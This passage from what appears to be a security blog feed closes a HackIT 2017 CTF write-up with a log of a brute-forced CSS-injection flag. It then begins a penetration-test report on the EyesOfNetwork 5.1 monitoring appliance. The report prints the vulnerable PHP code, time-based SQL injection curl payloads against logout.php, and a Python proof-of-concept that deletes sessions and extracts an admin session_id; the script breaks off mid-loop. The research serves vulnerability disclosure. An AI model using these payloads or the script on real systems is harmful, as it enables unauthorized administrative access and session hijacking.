80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:14:52 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj30;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:15:17 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj3ct10n1;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:15:45 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj3ct10n_0;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:16:20 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj3ct10n_0;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:18:34 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj3ct10n_h0;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:27:18 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj3ct10n_h0;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:32:09 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj3ct10n_h0;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:33:02 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj3ct10n_h10;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:41:10 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj3ct10n_h1d0;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:43:22 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj3ct10n_h1d30;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:45:39 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj3ct10n_h1d30;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:48:12 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj3ct10n_h1d3s0;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:48:47 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj3ct10n_h1d3s_0;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:49:08 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj3ct10n_h1d3s_s0;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:49:37 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj3ct10n_h1d3s_s0;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:49:57 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj3ct10n_h1d3s_s30;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:50:09 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj3ct10n_h1d3s_s3c0;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:50:22 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj3ct10n_h1d3s_s3cr3t0;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:51:12 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj3ct10n_h1d3s_s3cr3ts0;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:51:24 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj3ct10n_h1d3s_s3cr3ts}0;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;bonus&quot;&gt;Bonus&lt;/h3&gt;
&lt;p&gt;After solving the challenge, a friend I did the CTF with told me there could be a faster solution than bruteforcing the characters ourselves, even on unreliable servers. It is possible to simply create a lot of selectors, like &lt;code class=&quot;highlighter-rouge&quot;&gt;h4ck1t{[a-z0-9]&lt;/code&gt; and by sending one request, the server will answer us with one character.&lt;/p&gt;
</description>
				<pubDate>Sun, 27 Aug 2017 00:00:00 +0200</pubDate>
				<link>/ctf/web/2017/08/27/ctf-writeup-hackit-2017-web200.html</link>
				<guid isPermaLink="true">/ctf/web/2017/08/27/ctf-writeup-hackit-2017-web200.html</guid>
			</item>
		
			<item>
				<title>From unauthenticated to root on a supervision appliance</title>
				<description>&lt;p&gt;On a recent penetration test, I had to opportunity to test the security of an open-source supervision appliance called &lt;code class=&quot;highlighter-rouge&quot;&gt;EyesOfNetwork&lt;/code&gt;. Multiple vulnerabilities have been found and will be reported in this post.&lt;/p&gt;

&lt;h3 id=&quot;what-is-eyesofnetwork&quot;&gt;What is EyesOfNetwork?&lt;/h3&gt;
&lt;p&gt;From the official website:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;EyesOfNetwork (“EON”) is the OpenSource solution combining a pragmatic usage of ITIL processes and a technological interface allowing their workaday application. EyesOfNetwork Supervision is the first brick of a range of products targeting to assist IT managment and gouvernance. EyesOfNetwork Supervision provides event management, availability, problems and capacity.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Basically, it is a French supervision solution combining Nagios, Cacti as well as other tools with some of them being hand-made to create a complete appliance to monitor your infrastructure. The solution offers a web interface called &lt;code class=&quot;highlighter-rouge&quot;&gt;Eonweb&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;preparation&quot;&gt;Preparation&lt;/h3&gt;
&lt;p&gt;For the next tests, we will download the latest iso available on &lt;a href=&quot;https://www.eyesofnetwork.com/&quot;&gt;https://www.eyesofnetwork.com/&lt;/a&gt;. The version downloaded was EyesOfNetwork &lt;code class=&quot;highlighter-rouge&quot;&gt;5.1&lt;/code&gt; and represented the latest version available of the software.&lt;/p&gt;

&lt;p&gt;Most of the vulnerabilities found during the assessments and presented in this post have been identified on lower versions as well.&lt;/p&gt;

&lt;p&gt;After a default install, if we launch nmap to scan TCP ports, here is the list of ports we find:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nmap 192.168.1.161 -p- &lt;span class=&quot;c&quot;&gt;# The IP address chosen for EON is 192.168.1.161&lt;/span&gt;

Starting Nmap 7.40 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2017-03-xx xx:xx CEST
Nmap scan report &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;192.168.1.161
Host is up &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.00037s latency&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;.
Not shown: 65530 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http &lt;span class=&quot;c&quot;&gt;# Used by Eonweb (web interface)&lt;/span&gt;
443/tcp  open  https &lt;span class=&quot;c&quot;&gt;# Used by Eonweb (web interface)&lt;/span&gt;
2403/tcp open  taskmaster2000
3306/tcp open  mysql

Nmap &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;: 1 IP address &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1 host up&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; scanned &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;0.69 seconds&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Our goal being a quick way into the system, we’ll search for the low hanging fruit by searching for web vulnerabilities on Eonweb. SSH being difficult to attack due to the possibility of an administrator to change the user accounts passwords at the iso installation and MySQL blocking non-localhost connections.&lt;/p&gt;

&lt;h3 id=&quot;quick-and-dirty-unauthenticated-sql-injection&quot;&gt;Quick and dirty: Unauthenticated SQL injection&lt;/h3&gt;
&lt;p&gt;No authentication bypass has been found even if SQL errors could be generated by logging in using a backslash character at the end of the username. A SQL injection has been found, however, inside the &lt;a href=&quot;https://github.com/EyesOfNetworkCommunity/eonweb/blob/8140aace9493e497e7ca69733079179f62beef7a/logout.php&quot;&gt;&lt;em&gt;logout.php&lt;/em&gt;&lt;/a&gt; file, at line 28.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//logout.php
&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_COOKIE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;session_id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;$sessid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_COOKIE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;session_id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;sqlrequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$database_eonweb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;DELETE FROM sessions where session_id='&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$sessid&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;'&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Vulnerable
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Obviously, we can control the &lt;code class=&quot;highlighter-rouge&quot;&gt;session_id&lt;/code&gt; cookie because it is not set up inside a session and because of the fact the server doesn’t filter quotes by default.&lt;/p&gt;

&lt;p&gt;The injection being inside a &lt;code class=&quot;highlighter-rouge&quot;&gt;DELETE&lt;/code&gt; statement, we have two options: either we exploit it using a blind-based technique by setting up arbitrary sessions and checking which session get deleted (useful for example in the case of a privilege escalation exploit if we have an unprivileged account) &lt;strong&gt;or&lt;/strong&gt; we could exploit it using a time-based attack.&lt;/p&gt;

&lt;p&gt;From the point of view of an attacker, we’ll take the second option as we do not have credentials on the application.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;gp&quot;&gt;rioru@zhsk:/tmp$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;time &lt;/span&gt;curl -s -o /dev/null https://192.168.1.161/logout.php --insecure -b &lt;span class=&quot;s2&quot;&gt;&quot;session_id=' OR BENCHMARK(1,1)=1 -- -&quot;&lt;/span&gt;

real	0m0,091s
user	0m0,064s
sys	0m0,012s
&lt;span class=&quot;gp&quot;&gt;rioru@zhsk:/tmp$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;time &lt;/span&gt;curl -s -o /dev/null https://192.168.1.161/logout.php --insecure -b &lt;span class=&quot;s2&quot;&gt;&quot;session_id=' OR BENCHMARK(100000000,1)=1 -- -&quot;&lt;/span&gt;

real	0m1,778s &lt;span class=&quot;c&quot;&gt;# We can see there that the response time is considerably longer&lt;/span&gt;
user	0m0,068s
sys	0m0,008s&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The function &lt;code class=&quot;highlighter-rouge&quot;&gt;SLEEP&lt;/code&gt; is not always usable in a &lt;code class=&quot;highlighter-rouge&quot;&gt;DELETE FROM&lt;/code&gt; statement, that’s why &lt;code class=&quot;highlighter-rouge&quot;&gt;BENCHMARK&lt;/code&gt; has been used in this example. &lt;code class=&quot;highlighter-rouge&quot;&gt;SLEEP&lt;/code&gt; is indeed usable only when a table is not empty, we’ll use &lt;code class=&quot;highlighter-rouge&quot;&gt;SLEEP&lt;/code&gt; for our proof of concept as we will need to try to recover the sessions table anyway, but in the final exploit, we’ll have to handle the two possibilities.&lt;/p&gt;

&lt;p&gt;What’s particularly interesting is the sessions’ creation:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//login.php
&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// Create session ID
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$sessid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;rand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;sqlrequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$database_eonweb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;INSERT INTO sessions (session_id,user_id) VALUES ('&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$sessid&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;','&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$usrid&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;')&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The monitoring solution is creating their sessions using only &lt;code class=&quot;highlighter-rouge&quot;&gt;rand()&lt;/code&gt; as the session_id, meaning that even if we are forced to do our exploitation via a time-based technique, the session_id could be found in under 11 or 12 seconds with a simple brute force character by character if we set-up a &lt;code class=&quot;highlighter-rouge&quot;&gt;SLEEP&lt;/code&gt; time of 1 second.&lt;/p&gt;

&lt;p&gt;What to keep in mind:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;DELETE&lt;/code&gt; statements can’t do subqueries affecting their own table.&lt;/li&gt;
  &lt;li&gt;The target table doesn’t use a proper index column, this can lead to confusion when using substring with &lt;code class=&quot;highlighter-rouge&quot;&gt;LIMIT&lt;/code&gt;, even when &lt;code class=&quot;highlighter-rouge&quot;&gt;ORDER BY&lt;/code&gt; is used.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is the exploitation scenario:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Doing an initial request to get a value representing the lag between the target and our machine.&lt;/li&gt;
  &lt;li&gt;Delete all the non-admin (user_id != 1) sessions.&lt;/li&gt;
  &lt;li&gt;Getting the number of entries by doing &lt;code class=&quot;highlighter-rouge&quot;&gt;OR sleep(1)=1&lt;/code&gt;. For each record, the server will sleep one second, by doing so we will able to either: delete &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;entries count&amp;gt; - 1&lt;/code&gt; or &lt;code class=&quot;highlighter-rouge&quot;&gt;sleep(1 / &amp;lt;entries count&amp;gt;)&lt;/code&gt; to avoid entries confusion and get a faster exploitation. We will choose the first option; the second has been proven to be unstable after some tests.&lt;/li&gt;
  &lt;li&gt;Delete all sessions but one.&lt;/li&gt;
  &lt;li&gt;Now that we have only one admin sessions in the table, it will be easy to recover it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Proof of concept:&lt;/p&gt;
&lt;noscript&gt;&lt;pre&gt;import time
from requests import *
from requests.packages.urllib3.exceptions import InsecureRequestWarning

packages.urllib3.disable_warnings(InsecureRequestWarning)

url = &amp;quot;https://192.168.1.161&amp;quot;

print &amp;quot;[!] Proof of Concept for the Unauthenticated SQL Injection in EyesOfNetwork 5.1 (DELETE statement) - Rioru (@ddxhunter)&amp;quot;

def getTime(page, cookie=&amp;quot;&amp;quot;):
	start = time.time()
	get(url+page, verify=False, cookies=dict(session_id=cookie))
	end = time.time()
	return round(end - start, 2)

# Getting an initial response time to base our next requests around it
initial_time = getTime(&amp;quot;/&amp;quot;) - 0.01
getTime(&amp;quot;/logout.php&amp;quot;, &amp;quot;rioru&amp;#39; OR user_id!=1 -- -&amp;quot;)
print &amp;quot;[+] The initial request time on %s is %f, getting the number of entries, it could take a while...&amp;quot; % (url, initial_time)
sleep1_time = getTime(&amp;quot;/logout.php&amp;quot;, &amp;quot;rioru&amp;#39; OR SLEEP(1)=1337 -- -&amp;quot;)
if (sleep1_time - initial_time &amp;gt;= 1):
	count = round(sleep1_time)
	print &amp;quot;[+] Found %d entries in the [sessions] table, deleting every sessions except one&amp;quot; % count
else:
	print &amp;quot;[-] The table [sessions] seems empty&amp;quot;
	exit()

for i in range(int(count) - 1):
	getTime(&amp;quot;/logout.php&amp;quot;, &amp;quot;rioru&amp;#39; OR 1=1 LIMIT 1 -- -&amp;quot;)

# Get the length
session_length = 0
for i in range(12):
	execTime = getTime(&amp;quot;/logout.php&amp;quot;, &amp;quot;rioru&amp;#39; OR (SELECT CASE WHEN ((SELECT LENGTH(session_id) FROM DUAL ORDER BY session_id LIMIT 1)=&amp;quot;+ str(i+1) +&amp;quot;) THEN SLEEP(1) ELSE 1 END)=1337 -- -&amp;quot;)
	if (round(execTime - initial_time) &amp;gt;= 1):
		session_length = i+1
		break
if (session_length == 0):
	print &amp;quot;[-] Couldn&amp;#39;t find the length of the session_id&amp;quot;
	exit()
print &amp;quot;[+] Found an admin session length: %d, getting the session_id&amp;quot; % session_length

# Get the session_id
print &amp;quot;[+] session_id: &amp;quot;,
session_id = &amp;quot;&amp;quot;
for i in range(session_length):
	for j in range(10):
